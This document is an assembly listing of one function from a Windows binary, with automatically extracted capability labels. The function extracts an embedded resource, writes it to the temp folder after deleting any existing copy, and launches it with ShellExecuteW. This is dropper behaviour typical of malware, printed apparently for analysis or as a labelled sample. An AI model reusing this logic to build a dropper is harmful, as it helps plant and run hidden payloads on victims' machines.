Function at 0x401016
Capabilities:
Check if file exists
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x411bf0]
push ebx
push esi
push edi
mov ecx, 0x411bf0
call dword [eax + 0xc]
add eax, 0x10
mov edi, 0xff
push edi
lea esi, [ebp - 4]
mov dword [ebp - 4], eax
call fcn.004012b2
mov esi, dword [ebp - 4]
cmp dword [esi - 8], edi
jge 0x401052
mov eax, 0x80070057
call fcn.00401000
mov dword [esi - 0xc], edi
push eax
xor ecx, ecx
mov edi, 0x104
push edi
mov word [esi + 0x1fe], cx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [esi - 8]
push esi
call fcn.00401582
pop ecx
pop ecx
lea edx, [ebp - 4]
call fcn.00401351
push 0x40eb50
lea eax, [ebp - 4]
push eax
call fcn.0040127e
push 0x40eb74
lea eax, [ebp - 4]
push eax
call fcn.0040127e
push dword [ebp - 4]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call ebx
test eax, eax
je 0x4010b2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x40eb80
push 0x782
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40112c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp dword [eax - 4], 1
jle 0x4010f5
push dword [eax - 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004012d8
mov eax, dword [ebp - 4]
push 0x40eb90
push eax
call fcn.004018a6
pop ecx
pop ecx
push eax
push esi
push 0
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push 1
push dword [ebp - 0xc]
call fcn.00401a1f
push dword [ebp - 8]
call fcn.00401b18
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push dword [ebp - 4]
call ebx
test eax, eax
je 0x401250
mov eax, dword [0x411bf0]
mov ebx, 0x411bf0
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
push edi
lea esi, [ebp - 8]
mov dword [ebp - 8], eax
call fcn.004012b2
mov esi, dword [ebp - 8]
cmp dword [esi - 8], edi
jl 0x401048
push edi
xor ecx, ecx
push eax
mov dword [esi - 0xc], edi
push ecx
mov word [esi + 0x208], cx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [esi - 8]
push esi
call fcn.00401582
pop ecx
pop ecx
lea edx, [ebp - 8]
call fcn.00401351
push 0x5c
push esi
call fcn.004015a1
pop ecx
pop ecx
test eax, eax
je 0x401048
sub eax, esi
sar eax, 1
mov edi, eax
js 0x401048
mov eax, dword [esi - 0xc]
cmp edi, eax
mov dword [ebp - 0xc], eax
jge 0x401048
cmp dword [esi - 4], 1
jle 0x4011ca
push eax
lea eax, [ebp - 8]
push eax
call fcn.004012d8
mov esi, dword [ebp - 8]
xor eax, eax
mov word [esi + edi*2], ax
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.00401351
mov eax, dword [0x411bf0]
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
cmp dword [esi - 4], 1
mov dword [ebp - 0xc], eax
jle 0x401200
push dword [esi - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.004012d8
mov esi, dword [ebp - 8]
push esi
push 0x40eb98
lea eax, [ebp - 0xc]
call fcn.0040146f
mov eax, dword [ebp - 0xc]
cmp dword [eax - 4], 1
pop ecx
pop ecx
jle 0x401228
push dword [eax - 0xc]
lea eax, [ebp - 0xc]
push eax
call fcn.004012d8
mov eax, dword [ebp - 0xc]
push 5
push 0x40eba4
push eax
push dword [ebp - 4]
push 0x40ebac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0xc]
call fcn.00401261
lea eax, [ebp - 8]
call fcn.00401261
lea eax, [ebp - 4]
call fcn.00401261
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10